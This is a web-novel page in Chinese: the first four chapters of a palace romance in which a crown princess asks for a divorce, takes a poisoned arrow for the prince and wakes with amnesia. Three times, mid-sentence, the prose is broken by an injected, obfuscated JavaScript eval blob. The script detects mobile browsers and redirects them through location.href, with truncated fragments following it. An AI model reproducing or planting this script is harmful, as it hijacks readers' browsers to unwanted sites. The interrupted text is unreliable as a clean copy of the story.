《失忆错撩太子后》
1. 第 1 章
承明二十一年元月三十,春分。
冬日的寒气似乎已经消弭殆尽,下了半夜的雨,更是洗出了一块琉璃般澄澈的湛蓝天空,风清露冷,无声洇湿了桃花。
今天是四皇子陆修瑾与内阁次辅之女庄仪的大喜日子,吴王府里张灯结彩,红烛高照,赤霞锦像是不要钱地铺了遍地,富贵又喜庆。
新娘子的花轿已经进了府,三拜之后,女眷们纷纷进去观礼。
这桩婚事是吴王陆修瑾亲自向陛下求来的,据说他在白云寺外与庄仪惊鸿一瞥后,便立下誓言非卿不娶,一番惊心动魄的追求之后终成佳话。
凤冠霞帔之下,新娘美则美矣,可皇室不乏美人,相较之下,吴王妃庄仪实不算出众。
如此想着,有心之人便往后看去。
太子妃沐夷光今日也来赴宴了,许是怕夺了新人的风头,安安静静地站在最后面。
她今日穿了一身唐草纹罗衫子并浅碧春绫罗裙,头上戴着一枚同色的玉簪,那衣料的碧色好似上好的青瓷里沁出来的,清透润泽。虽然素着一张脸,却难掩其明艳姿容,那一身雪肤白嫩得好似有光落在上面,清新如破水新开的莲,娇艳如雨后滴露的牡丹。
大家原本都很好奇惹得吴王一见钟情的女子究竟能有多美,这两相对比,吴王求娶庄仪的心思就不免叫人猜疑了。
即便如此,在场的都是个顶个的人精,滴水不漏地朝新妇说些吉祥话,跟着打趣几句,新娘子脸上浮上红云,场面和谐无比。
观完礼,众人又回到席间,吴王府为了这场婚宴可是下足了功夫,美酒佳肴,酌金馔玉,金樽之中所盛“瑶泉”醇香四溢,三十两银子可沽一斗,又有丝竹管弦,轻歌曼舞,务求宾主尽欢。
趁着酒意,不免就有人议论起来。
“听说吴王妃仙姿玉质,天姿国色,令吴王殿下一见钟情,今日一见也不过如此嘛。”
也有人意味深长道:“各花入各眼嘛,陆齐皇室可是个顶个儿的出情种,大皇子与大皇妃青梅竹马两小无猜,三皇子虽然流连花丛,在家里那也是出了名的惧内,那看着清峻冷厉的太子殿下也与太子妃相敬如宾,竟然还空置了后院,独宠太子妃一人呢。四皇子年纪轻些,对次辅之女一见倾心也是很正常的事。”
众人举杯,互相心照不宣地笑笑。
当今圣上仁德宽厚,最重情义,几位皇子“亦是”如此。只有二皇子也就是当今的太子殿下,说好听点是清峻冷厉,说不好听便是生性凉薄、冷血无情,他当年率军在漠北征战的时候还曾下令屠城,武将屠城虽然并不罕见,但太子殿下不过第一次率兵打仗,就有如此手段,不仅鞑靼被杀得再无还手之力与进犯之心,朝中人对太子殿下也多了敬畏与恐惧。唯独这桩与太子妃的姻缘,还透着些人情味儿。
许是顾虑到此番议论有妄议皇室的苗头,又有人找补道:“几位殿下都是性情中人,今日过后,京里又多出一桩天赐的良缘了。”
这个“又”字用得极好,他所谓的天赐良缘便是太子夫妇。
据说太子殿下在漠北征战时受了重伤,回朝后病情恶化命在旦夕,死马当作活马医的时候钦天监算出太子殿下与护国大将军之女八字极为相合,陛下下旨赐婚为太子冲喜,谁知这赐婚圣旨一下,太子竟当真醒了过来,这桩婚事可不就是真正的御赐姻缘,佳偶天成么?
这议论声压得极低,只是沐夷光天生五感过人,稍一凝神便听见了。
她正与几位王妃坐在一处,一边听着这些闲言碎语,一边面带微笑地与几位妯娌寒暄几句,嘴角弯起的弧度甚至没有一丝波动。
京城皆道太子与太子妃举案齐眉,相敬如宾,在她看来,不过是冰霜的“冰”罢了。成婚一年,二人别说同床了,就连同桌吃饭的次数也只是寥寥,又何来的举案齐眉呢?一旨赐婚勉强把两个各怀心思的人绑在了一起,也不过是貌合神离。
楚王妃卢琼思与沐夷光坐在一处,各有各的心事,她不断举杯自酌,壶中酒已尽,又派人去添。
等酒的间隙,卢琼思忍不住冷哼道:“真以为自己是十几岁的毛头小子不成,什么一见钟情,说出来只怕是自己都不信吧?”
她去青楼楚馆揪着楚王的耳朵回家时,十次有九次吴王在场。
卢琼思出嫁前是英国公府的嫡出小姐,也是京中有名的大美人,家世容貌俱佳,自然是有底气说这个话的。
她转头看向沐夷光寻求附和,沐夷光却一脸平静,仿佛在嘲笑自己的失态。
卢琼思气急。
自己也曾是天之骄女,但自从沐夷光进京,就处处被压一头,容貌家世比不过她,所嫁之人亦不如她,这样的人好像天生就是主角,她哪怕什么都不做,只是静静地坐在那里,也能轻而易举吸引所有人的目光,再看沐夷光那张花容玉貌的脸,她心中便像有蚂蚁爬过一般得痒痒。
她忍不住道:“天下乌鸦一般黑,这些男人惯会做表面功夫,莫说我家那口子,就连太子殿下……”
沐夷光终于有了反应,却只是慢吞吞地侧过头看着她,不轻不重地“哦?”了一声。
卢琼思得意地说出自己知道的秘密,也想看看太子妃为情所苦的模样:“太子殿下一直在暗中寻找一名女子,已经寻了一年多了,据说近日已在扬州府寻到了,正派人快马加鞭带到京城来呢。都说江南出美人,也不知是何等美貌的女子,能引得太子殿下念念不忘。想来东宫之中很快便会有新人为太子妃娘娘分忧了。”
这皇室姻缘都是看着风光,都说太子殿下清心寡欲不重女色,东宫后院仅有太子妃一人,在卢琼思看来,不过是心思不在这里罢了。太子大婚一年了,太子妃的肚子也没个动静,谁知道背地里是个什么光景呢?
“的确是好事,”沐夷光举起酒盅,笑容滴水不漏:“东宫后院只本宫一人,多少有些冷清了。”
沐夷光用一种了然的眼神看着她,为彼此都添了一杯酒。
她原本可以出言嘲讽我的,可是她没有。卢琼思这样想着,只觉得一拳打在了棉花上,反倒把自己打泄了气。
沐夷光却若无其事地举杯,朝卢琼思微微一笑,饮尽杯中酒。
抬头望去,不知不觉已经入夜了,一轮明月悬在枝头,清辉如水般倾泄而下,温柔如情人低语,像是第一次心动时的月光。
她自有她的心事。
年少初遇时的起意,战乱离
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629031|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别时的愁绪,京城重逢时的心悸……过往种种,皆如月光一般铺天盖地而来,照耀在心上,却不在身旁。
沐夷光压下心头纷乱思绪,暗自思忖:陆修珩惯来孤高冷傲,二人奉旨成婚,平素里半个月也难得见上一面。她实在很难想到,目空一切的太子殿下,竟也会有放不下的心上人么?
她再一想,又觉释然。
自己也曾喜欢过人,也有放在心尖尖上不忍触碰的白月光,陆修珩也是人,有这样的七情六欲,再正常不过。
她早也做厌了这太子妃,陆修珩又颇有城府与手腕,既然他对那女子如此爱重,若是真寻回来了,二人是不是就可以和离了?
想到会有这样的好事发生,沐夷光忍不住又多饮了几杯,冲着告诉自己这个消息的楚王妃笑道:“本宫今日不胜酒力,先行一步了,来日再入府拜谢。”
美人一笑,颊边绽出一枚小小的梨漩,眼眸中泛出的粼粼波光像是泪意,更是像盛了清澈酒液的琉璃盏,湛然甘美,令人饮之辄醉。
卢琼思愣愣地看着她,都忘了行礼拜别。
太子妃这番饮酒浇愁又强颜欢笑的情态看得她心中动容,忍不住反思:自己刚才……是不是做得太过分了?
瑶泉口感绵柔,后劲却有些大,也正是借着酒意,沐夷光才主动去寻了陆修珩。
她让丫鬟青霜给陆修珩的大太监刘宝递了话,自己在花园的假山处等他,有要事相商。
此时正是喜宴最热闹的时候,花园里越发显得冷清。
沐夷光饮下的那些酒已经开始在血液里发烫了,她见四下无人,干脆就坐在了花园里的假山上。夜风温柔抚过她的脸颊,带走了酒热,只留下一点飘飘然的醉意。
皇子们的酒席设在一墙之隔的别院,今日四皇子成亲,少不得要被几位兄弟猛灌。陆修珩端坐在其间,他体弱不能饮酒,又是位高权重的太子,自然是无人敢劝他的酒的。
沐夷光坐在假山的高处,垂眸往院中看了一眼,纵然她心有所属,也不得不承认,上天是极为偏爱陆修珩的,明明几位皇子都生得身材高大,样貌英俊,但举目望过去,第一眼看到的人总会是他。
刘宝已经将话带到了,陆修珩起身离席,很快就来到了她面前。
陆修珩身体病弱,在早春这样的天气里依旧有些畏寒。
他今日穿着一身圆领窄袖的赤色衮龙袍,身披玄色大氅,愈发显得面如冠玉。他的容貌其实偏冷峻,眉目好似天山上的冰雪雕刻而成,只是五官太过精致俊美,加之常年病弱而稍显苍白的肤色中和了那股凛冽之意,稍不留意就会错过那双眼里经年不化的坚冰以及漠视一切的萧然。
看着坐在假山上、两颊泛红微显醉意的沐夷光,陆修珩难得地皱了眉。
在他印象里,太子妃一贯端庄守礼,行事面面俱到,从未惹过什么事端,今夜却好像有什么不同了。
沐夷光虽有些微醺,但意识十分清醒,见陆修珩来了,乖乖地从二丈多高的假山上跳了下来,动作轻轻巧巧,像一只翩跹的蝶。
银色的月光悄然落在她的脸上,在眸中碎成点点星光,显得诚恳极了。
“殿下,臣妾想和离。”
2. 第 2 章
为防隔墙有耳,沐夷光站得离陆修珩很近,他甚至能闻到她身上纯净清甜的香气,像是春日里的梨花,却又混了瑶泉的酒香,馥郁芬芳。
才思敏捷的太子殿下第一次有了无言以对的感觉。
此话虽在意料之外,却也是情理之中。
他们是奉旨成婚,关系冷淡,甚至从未同房,这桩婚事形同虚设,却又是实质的枷锁。只是再多的理由,也不及“合适”二字来得重要,他已认同沐夷光是合适的太子妃人选。
陆修珩知道沐夷光亦不喜二人之间的婚事,可她平日里端庄娴静,并不会像今天这样跳到他跟前来诉说不满。
而少女的呼吸带着酒意,不似往日平缓,时轻时重的,因与他站得极近,偶尔吹拂到他颈间。
陆修珩断定她是因为醉酒,才说出这些话,因而淡淡道:“太子妃若不胜酒力,便叫青霜扶着你早日回去歇下。”
然而他才要转身离开,却被少女揪住衣角,被迫止住了步子。
沐夷光见他不理会自己,便拽着他,愈发凑上前几分。她的眼睛亮晶晶的,又大又圆,像是装满了星辰的夜,又像是清澈见底的溪,纯真又稚气。
看着这双眼睛,陆修珩似乎也觉得方才话说重了些,又道:“今日之事,孤不同你计较。”
然而沐夷光却道:“可我听说,殿下一直在苦寻自己的心上人。殿下难道忍心叫那位姑娘做妾么?”
“……”
陆修珩想要斥她荒唐,却见那双漂亮极了的眼睛里此刻水光弥漫,显得可怜又可爱,颊边也透着胭脂一般微醺的粉色,却是任何胭脂都难以描画的妍艳。
他移开视线:“放手。”
沐夷光一动不动,甚至揪得更紧了。
两个人的距离极近,她的五感本就比常人敏锐,此时几乎能感觉到陆修珩温热的呼吸,还有他周身萦绕的清浅香气,那里面和着经年累月的药香,一时分辨不出是什么味道。
今夜情况特殊,又有要事,他的确不能放任她在此地纠缠。
陆修珩的声音难得地软了半分,勉为其难地敷衍她:“你先放手,回宫再议。”
再议……那不还是不同意吗?
沐夷光的脑子迷迷糊糊地转过弯来,她非但没有放手,干脆还转过身来,整个人站在他的面前,拦住了他的去路:“既然殿下无意于我,为何不——”
就在这时,有破空之声从背后传来,沐夷光扭头,便看见了一枚泛着幽幽蓝光的利箭,脑子想要躲闪,身体却因为醉意来不及跟上,愣愣地挡在了陆修珩的面前。
只听得一声钝响,剧痛自左肩传来,她抓住陆修珩衣袖的手已然失了力气,整个人扑进了他的怀里。
“有刺客,保护太子!”
潜伏已久的太子暗卫从天而降,与刺客们缠斗在一起。
陆修珩下意识地接住了她。
他身上穿了天蚕丝软甲,不惧刀剑,而沐夷光明明能躲,为何要挡这一箭呢?
陆修珩低头为沐夷光检查伤口,箭伤不深,但是箭头有毒,若是放任不管,恐怕会伤及性命。
他虽亲身涉险搅混了这潭水,但现在还不是彻底清算的时候。若是她今日死在这里,此事便不能善终了。
陆修珩稳稳抱住沐夷光,冷静道:“孤要为你拔箭,忍着点。”
他怕沐夷光挣扎,不等她反应,便已又快又狠地将箭羽拔除了。滚烫而发黑的血液从她的伤口处溅射出来,沐夷光原本红润的脸色也因失血过多而迅速变得苍白。
他换了个姿势抱她,用干净的手帕压住伤口,帕子不一会儿就被湿腻粘稠的血液浸透了。
陆修珩皱了皱眉,忍住将帕子扔掉的冲动,抱着她的手也未松开,低声提醒道:“别睡。”
沐夷光听不清他说的话,刀剑相交的声音也在逐渐远去,视线变得模糊,只有疼痛是清晰的。她忍不住伸出手,去触碰眼前男子那双熟悉的眉眼。
她轻声呢喃,声音低不可闻:“阿衡哥哥,我……是在做梦吗?”
这句话语如同梦呓,让人听不真切,陆修珩只勉强听清了“珩”字,他并未应声,只沉声喊了她的名字:“沐夷光,别睡。”
在彻底失去意识之前,她只记得此人身上的气息,是清淡雅致而疏离内敛的青桂香气,却莫名让人觉得温暖而熟悉。
*
连下了几日阴雨,今日终于放晴了。
长缨在太子妃的床边守了一夜,青霜又过来接班,她轻手轻脚地打开窗,将清晨的第一缕阳光放了进来,又吩咐一旁的丫鬟打水进来为娘娘净面。
小丫鬟极为轻柔地用锦帕擦着沐夷光的脸,她感觉自己擦的是一只剥了壳的白水煮蛋,甚至更为白嫩,吹弹可破。
吴王大婚那日太子遇刺,娘娘舍身为殿下挡箭,虽然伤口不深,好不容易退了高热,但箭上淬了毒,如今仍然昏迷不醒。
青霜想起太医的话,面露忧色,她抹了抹帕子,压下泪意嘱咐道:“多留点神,我再去为娘娘请太医问诊。”
小丫鬟顺从地点了点头,清洗完便安安静静地退下,在一旁守着。
不知过了多久,沐夷光抬了抬沉重的眼皮,只觉得昏昏沉沉。
她好像做了一个很长很长的梦,梦见自己有了心仪的情郎,丰神俊逸,而自己凤冠霞帔,红妆十里,要与他成亲。
可惜自己记不清他长什么样子了,不然就算绑也要爹爹将其绑来,为自己作婿。
沐夷光心中轻快,但却觉得身上又痛又乏力,想要开口喊青霜长缨,喉咙也干涩嘶哑发不出声音,她又躺了一会儿,感觉逐渐恢复了力气才睁开眼。
这是一处全然陌生的房间,身下是金丝楠木的垂花柱拔步床,远处掐丝珐瑯莲花香炉中燃着静心凝神的龙涎香,头顶的帷幔更是价值千金的轻容纱所制,如此奢侈的布置,绝不是自己熟悉的将军府。
自己不过在房中睡了一觉,怎么醒来竟出现在了此处,又是何人如此大胆,敢进将军府中来掳人?
她轻轻活动手脚,左肩便传来不容忽视的疼痛感。
自己在昏迷的时候还受伤了?
她伸手摸了摸,伤处绑着绷带,还有淡淡的药味儿。
虽然还不清楚发生了什么事,但不管是为了爹爹的名声还是自己的闺誉,她都不能声张。
许是见自己受伤,房中只安排了一个小丫鬟守着,沐夷光悄悄下了床,小丫鬟听到动静,刚要转过身来,沐夷光立刻一个手刀劈向她的后颈。
她将晕过去的小丫鬟抱到床上,顺手盖上锦被,伪装成无事发生的样子。自己又换上了丫鬟的粉色侍女服,虽然有些短小,但也总比仅穿一身中衣要好。
做完这些,沐夷光只觉头晕目眩,肩上的伤口也已经裂开,疼得泪花都要冒出来了。
现在不是哭的时候,要尽快逃出去才好。
她虽然明白这个道理,但毕竟是娇生惯养长大的,眼泪还是不争气地掉了出来,一边擦眼泪一边附耳在门上偷听,见门外无人才走了出去。
自己不知被掳到了何处,此地的园子大得惊人,有广池水榭,长堤横隔,远处的假山是用水中太湖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629032|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
石所凿,面面玲珑,足有五丈之高,此间主人财力、权势可见一斑。
沐夷光沿着曲廊一路前行,为了避让巡逻的卫兵,躲进了最近的一间屋子里。
这里面烧着地龙,到处都是暖烘烘的,屋子的构造也很是特别,进门处似是一间书房,放了一张紫檀木雕云龙纹的书案,再往里边立了一张金漆镶嵌的彩绘屏风。
沐夷光愣住了。
这金漆镶嵌的技艺是燕京八绝之一,毋论那张龙纹书案了,只是不知这位凤子龙孙是出于何故,要向镇北将军的嫡女下手。
屏风后面是一间净室,里边挖了一处六尺宽的浴池,盛着热气腾腾的药汤,浴池壁后的炉灶内熏了药草,云蒸雾绕,朦胧一片。
此时门外忽然传来脚步声,避无可避,好在她跟随父兄习过武艺,身手好,便勉为其难地爬上了房梁,把自己藏在了房梁的阴影里,像一只警觉的小兔子一般竖起耳朵聆听附近的风吹草动。
又到了太子殿下熏药的日子。
陆修珩喜洁更喜静,屏退了众人,独自进了净室。
房门推开,一道颀长的男子身影走了进来。
他穿着玄色的对襟袍衫,外披同色的暗金云纹番羓丝鹤氅,头戴镶金白玉冠,皮肤白得乍眼,似乎有些病弱的清态,但却半点无损于他的俊美无俦、风华绝代。
沐夷光总觉得有些眼熟,好像在哪儿见过似的。
她摇了摇头,否定自己不切实际的想法。
如此容貌气度,不知是京中哪位皇子,自己应当从未见过才是。
那道清贵挺拔的背影转入屏风后,白皙修长、骨节分明的手指解下鹤氅与袍衫,只着中衣隐入了这片云雾之中。
沐夷光虽然还未出阁,也知道自己应该非礼勿视,但这位殿下实在生得太好,她的眼神儿已经不自觉地跟着飘过去了。
既然已经藏于梁上,何必还要再做“君子”呢?
入水的声音响起,那人已经缓缓步入池中,丝质中衣浸了水,绽出一点无瑕的旖旎之色。
这位殿下看着清瘦,实则肩宽腿长,腰腹劲瘦,仿佛病弱的颓态间隐藏着诡谲而深沉的力量。
沐夷光托腮坐在梁上,只觉得药汤的热气蒸到了上头,两颊热得发烫,此地水汽也太重,自己都快要闷得喘不过气来了。
她侧过头,却被那袍衫袖内隐约露出的一枚香囊吸引了视线。
那枚香囊小巧,是女子式样,却实在称不上精致,布料是普通的月白绒圈锦,隐约可见上面用藤黄的丝线绣了一枚歪歪扭扭的梨子,怎么看怎么眼熟。
这好像……就是自己第一次学习女工时绣的那个香囊?
沐夷光的脑海里忽然蹦出一段记忆来,自己跟随绣娘学习了许久,仍旧不得其法,就是绣这个香囊都扎了好几次指头,绣完便气得把针线扔了。
母亲过来半是打趣半是劝说道:“阿梨这样漂漂亮亮的小姑娘,怎么绣出来的梨子却丑丑的,这样的香囊日后嫁人怎么送得出手呀?”
当时自己捏着那枚香囊理直气壮:“若是喜欢阿梨的人,自然会连这个香囊也喜欢的。”
母亲闻言失笑,便也没再逼着自己学习女工了。
自己亲手绣制的香囊,怎么会落到这位殿下的手里?
沐夷光努力地伸长脖子辨认,想再看仔细一点,却不小心失了平衡,从梁上直直掉了下去,跌入又宽又深的浴池之中。
“啊!”
沐夷光惊呼一声,狠狠地呛了好几口水,又踩不到底,情急之下,本能地抱紧了面前的人。
3. 第 3 章
巨大的水花声响起,刘宝候在门外听得清清楚楚,又不敢贸然打扰,连忙隔着门问道:“殿下,您没事吧?”
门内一道低沉清越的男声响起:“无事,退下。”
刘宝与匆匆赶来的侍卫统领洛元对视一样,依言后退三步,却不敢走远。
陆修珩掩唇轻咳了两声,看着自己这个神出鬼没的太子妃,她原本应该躺在病榻上,此刻却穿着一身明显不合身的粉色侍女服,从天而降在这方浴池里。
沐夷光并不知道陆修珩的心思,她的脑袋还死死地磕在对方的肩膀上,深色的药汤滚烫,可颊边贴着的肌肤也不过只是温热而已。
陆修珩从未见过沐夷光穿着如此鲜妍的颜色,许是在浴室待久了,她的颊边还透出烟霞似的粉来,愈发显得肤如凝脂。
她下落时带起一阵风,陆修珩侧过头,以手掩唇,轻咳了两声。
她还在手忙脚乱地挣扎,手臂环着自己的腰,软软的身子紧贴过来,二人虽隔了一层衣料,可那衣料本身就轻薄,如今浸了水,更是恍若无物。
沐夷光还处于落水的惊恐之中,丝毫未觉自己的姿势有多暧昧,她抬头看着他,波光潋滟、雾气萦绕的眼眸里便倒映出陆修珩那张面无表情的脸来。
她抱得越紧,陆修珩的脸便越沉:“放手。”
……这两个字怎么如此熟悉?
只是太子妃这次听话很多,话音刚落,她便听话地松手了。
太子殿下久居高位,气势凌人,他一开口立刻便把沐夷光的理智拉扯了回来,她勉强扶住浴池边缘,悠悠荡荡地踩着底儿后退一步,眼泪汪汪又手脚发软地爬出了浴池,明明是有些狼狈的姿势,被她做来却显得可怜又可爱。
原本就小一号的衣裳湿漉漉地贴在太子妃的身上,清晰地勾勒出曼妙的曲线与不盈一握的纤腰来,像是一朵被晨露打湿的芙蓉花。
陆修珩皱了皱眉,目不斜视地步出浴池披上外衫,又随手将木桁上搭着的玄色鹤氅扔了过去,正好笼住她整个人。
面对如此闹剧,他面上神情依旧是一种近乎冷漠的淡然,只是还未来得及整衣敛容,便在这种冷淡里平添了一股慵懒随性的意味,变得平易近人起来。
二人的衣摆还在湿答答地往下滴水,落在润如墨玉的金砖上,显得房间里安静极了。
沐夷光这才后知后觉地感到窘迫,自己一个未出阁的姑娘偷看了外男药浴还被抓了个现行,现在是打死也不能承认自己的身份了。
她当机立断下跪行礼,恨不得把脸也埋进宽大的鹤氅里:“奴婢见过太子殿下。”
奴婢?
陆修珩忍了又忍,淡淡问:“你这是烧坏脑子了?”
沐夷光当然不觉得这是个疑问句,作为一个“丫鬟”,就凭自己方才的无理行径,这位殿下没有把她拖出去打死已经算得上是宽厚了。
她只好又可怜巴巴地认错:“奴婢失仪,还请殿下恕罪。”
沐夷光的父亲是镇北将军,外公致仕前是陕西布政使,自小就是千娇万宠地长大,这样娇滴滴的一个小姑娘,装可怜的时候不自觉就带了几分撒娇的意味,声音软软糯糯的,几乎无人抵挡得住。
除了陆修珩。
他并未有半点的动容,漆黑如墨的眼眸里沉着连自己都未曾察觉的情绪。
先是提出和离,如今又在自己面前自称奴婢,这个太子妃她已是一刻都当不下去了吗?
像是为了平息情绪一般,陆修珩放缓了声音:“沐夷光,你到底要如何?”
沐夷光直愣愣地抬起头,他怎么知道自己的名字?
陆修珩又主动后退一步:“只要是孤能做到的事,都可以答应你。”
沐夷光有些犹豫,这位殿下虽然看起来冷冰冰的,但实际上是个好人,他没有怪自己打扰他洗澡,自己掉到他的怀里也没有意图不轨,还把鹤氅也给了自己。
陆修珩的嗓子很好,声线清润澄澈,只是素来凛若寒霜,没人见过他这样低声说话的时候,更想不到竟然会多出一分温柔意味。
这一分温柔让沐夷光彻底卸下了防备,她忽然觉得自己肩上的伤更疼了,眼泪也大颗大颗地掉下来:“呜呜呜,殿下,臣女想回家。”
还是想要和离吗?
成亲一年,这是陆修珩第一次见沐夷光落泪,眼尾和鼻尖都泛着红,圆眼睛里沾染着湿漉漉的泪光,满是委屈和依赖。
他自然清楚这桩婚事里沐夷光是多么无辜,可是局面已经造成了,二人便断不可能和离。陆修珩侧过头,又咳了两声,冷硬道:“若要和离,便等孤死了。”
他似乎觉得这话说得过激,又试图用解释来安抚她的情绪:“你是御赐的太子妃,沐将军又位高权重,本就招眼,你若回了漠北,不知会引起多大的震动和猜疑。”
这一招好像很管用,沐夷光果然不哭了,只是抬头看着陆修珩,眼里满是愕然。
我是太子妃,太子宁愿死都不愿意与我和离?
这两句话的信息量太大,她一时反应不过来。
很好,太子妃终究是讲道理的。
见沐夷光停止了哭闹,陆修珩也不想再浪费时间:“来人,送太子妃回宫。”
听闻“太子妃”三个字,洛元止住脚步,刘宝连忙带着几个侍女进了殿。
见太子妃娘娘穿着一身湿透了的侍女服,裹着太子殿下的大氅,刘宝只看了一眼就老老实实地低下了头,在心里犯着嘀咕:这二位的感情何时变得这么融洽了,前几日还闹着要和离,这伤还没好呢,竟然就迫不及待地玩这么大。
眼见如此阵仗,沐夷光是不信也得信了,她一脸麻木地任侍女领她去偏殿更衣,又领着自己朝太子妃的寝宫走去。
见几位侍女送走了太子妃娘娘,刘宝又提醒道:“殿下,该喝药了。”
苦涩浓郁的汤药已经端到了案头,陆修珩抬起头,眉也不皱地一饮而尽。
这汤药他已经喝了许久,苦涩的药草味似乎都融进了骨髓,早就习惯了。
陆修珩用素白的丝帕抿了抿唇,对洛元道:“派人去查查太子妃,近日和什么人接触,可有异状。”
沐氏惯来是个安分守己的,怎么这两日变化如此之大?
洛元有些惊讶:“您是怀疑太子妃……与刺杀案有关?”
陆修珩凉凉看他一眼:“沐家满门忠烈,亦非蠢材,还不至于做出这样的事来。”
洛元还想再问,刘宝朝他使了个眼色,这才识相地闭了嘴。
陆修珩又吩咐刘宝:“太子妃护驾有功,你去库房里挑些赏赐,送去毓华殿。”
“是。”
刘宝明白殿下的心思,名为赏赐,实则是试探。
*
毓华殿内不见了太子妃的踪影,青霜与长缨都快急昏头了,好不容易等到沐夷光回来,二人眼里都含着热泪:“娘娘,您方才去哪儿了,可把奴婢担心死了。”
这两个丫鬟都是自小陪伴自己长大的,衷心耿耿,她俩一开口,几乎就是一锤定音了。
沐夷光艰难地摆了摆手:“别提了。”
这一句话说得青霜心惊肉跳,又不敢多问,只道:“王太医已经在外等候多时了。”
毕竟身体要紧,沐夷光点头,示意让王太医过来请脉。
王太医细细为沐夷光把完脉,又与两名丫鬟探出太子妃娘娘将近三年的事儿都忘了,心中已经有了结论:“听娘娘所言,这应当是失忆离魂之症,只是这症状太过罕见,微臣也无能为力,只能为娘娘开些方子慢慢将养。”
沐夷光可不想平
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629033|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白丢了三年的记忆:“王太医,我……本宫这症状何时才能恢复呢?”
“这可说不好,”王太医如实以告:“以微臣在医术典籍上见过的病例来看,此事因人而异,有的人很快就能想起来,有的人可能永远都恢复不了。娘娘可以多了解一些以前的事,受的刺激多了,兴许就想起来了。”
沐夷光点点头,只要能恢复就行。
王太医又絮絮叨叨道:“娘娘肩上的箭伤还在慢慢痊愈,只是余毒未净,祛毒的汤药还要继续吃,伤药也要继续换,平日一定要静养,以免再次裂开。”
箭伤?
沐夷光眨了眨眼,把这个问题记下,先问另一个更重要的问题:“这肩上的伤口可会留疤?”
长缨也很是紧张,她先前为娘娘换药的时候都看见了,这一身光洁如玉的肌肤凭空多了半寸长的伤口,她家娘娘惯来爱美,若要留下疤痕可如何是好。
老太医宽慰道:“只要按时敷药,养护得当,应当可以恢复。”
沐夷光点点头,总算放下心来。
王太医收好药匣,行礼退下,知道娘娘一定有很多话要问,青霜与长缨连忙屏退了众人,为沐夷光更衣换药。
沐夷光问的第一件事便是:“漠北那边是战是和,爹爹和哥哥是不是把那群蛮夷都打回老家了?”
青霜心思细腻稳重,娘娘重伤初醒,她不敢多说,只点点头道:“议和不成后便打了两年,老爷与太子殿下一同率兵胜了鞑靼,现已回了漠北了。”
边关平定,父兄无碍,沐夷光换了舒适的常服,有些不好意思地开始询问话题里的另一个主角:“这几年里,我是不是已经嫁人,成了太子妃?”
两个丫鬟同时点点头。
沐夷光只觉得不可思议,她虽然远在边关,亦曾耳闻过当今太子。
陆修珩是当今圣上与已故慈懿皇后之子,生性冷漠,不受圣上所喜,而且他自幼体弱,更是在母后薨逝的那一年生了一场大病,差点没熬过去,是燕京有名的药罐子。
方才初见,其人的确丰姿如玉,但却病怏怏的,自己喜欢的是像父兄那样的英武男儿,怎么会嫁给他?
沐夷光又问:“殿下是一个什么样的人,本宫是如何嫁给他的?”
青霜看了长缨一眼,示意她来说。
长缨性子天真烂漫,打心底里看好娘娘与太子这一对儿,由她开口,娘娘听着兴许会好受些。
提到自己喜欢的话题,长缨果然侃侃而言:“太子殿下龙姿凤采,才貌出众,与娘娘是极为相配的,除了性子冷了点,实在是没得挑,至于娘娘与殿下的婚事——”
长缨硬是将宣成帝下旨赐婚冲喜一事说成了天赐良缘,又补充道:“殿□□弱,常年养病,与娘娘相处的时间极少,虽然看着冷心冷面,其实是极为敬重娘娘的,东宫后院中也仅娘娘一人,在天家算是独一份的了。”
沐夷光陷入了沉思,她隐约记得在那个长长的梦里,自己有一个很是喜欢的情郎,还会拉着他的衣袖,软软地唤他阿héng哥哥。
陆修珩的名字中,恰有一个珩字。
看来自己在梦中梦到的情郎,便是太子殿下了。
为了确定这件事情,沐夷光又问了看似一个风马牛不相及的问题:“青霜,我之前绣的那个香囊,还在吗?”
自家小姐就只绣过一个香囊,青霜记得很清楚:“娘娘不是早就拿去送人了吗?”
看来就是被自己拿走送给陆修珩了。
沐夷光立刻对太子殿下有了新的认识,没想到陆修珩看起来冷冰冰的,却会将自己送的香囊随身携带,对自己更是后宫独宠,矢志不渝,甚至扬言可以为自己做任何事、除非自己死了不然绝不和离。
只是好端端的,殿下为何要这样说话呢?
4. 第 4 章
沐夷光立刻重视道:“青霜,本宫昏迷前到底发生了什么?肩上的箭伤又是从何而来?”
青霜一边为沐夷光盘发,一边将太子在吴王婚宴上遇刺一事详细说了一遍:“……当时娘娘正在与殿下说话,您像是有所察觉似的忽然回头一看,便瞧见那枚毒箭了,但是您没有躲开,反而硬生生替太子受了这一箭。”
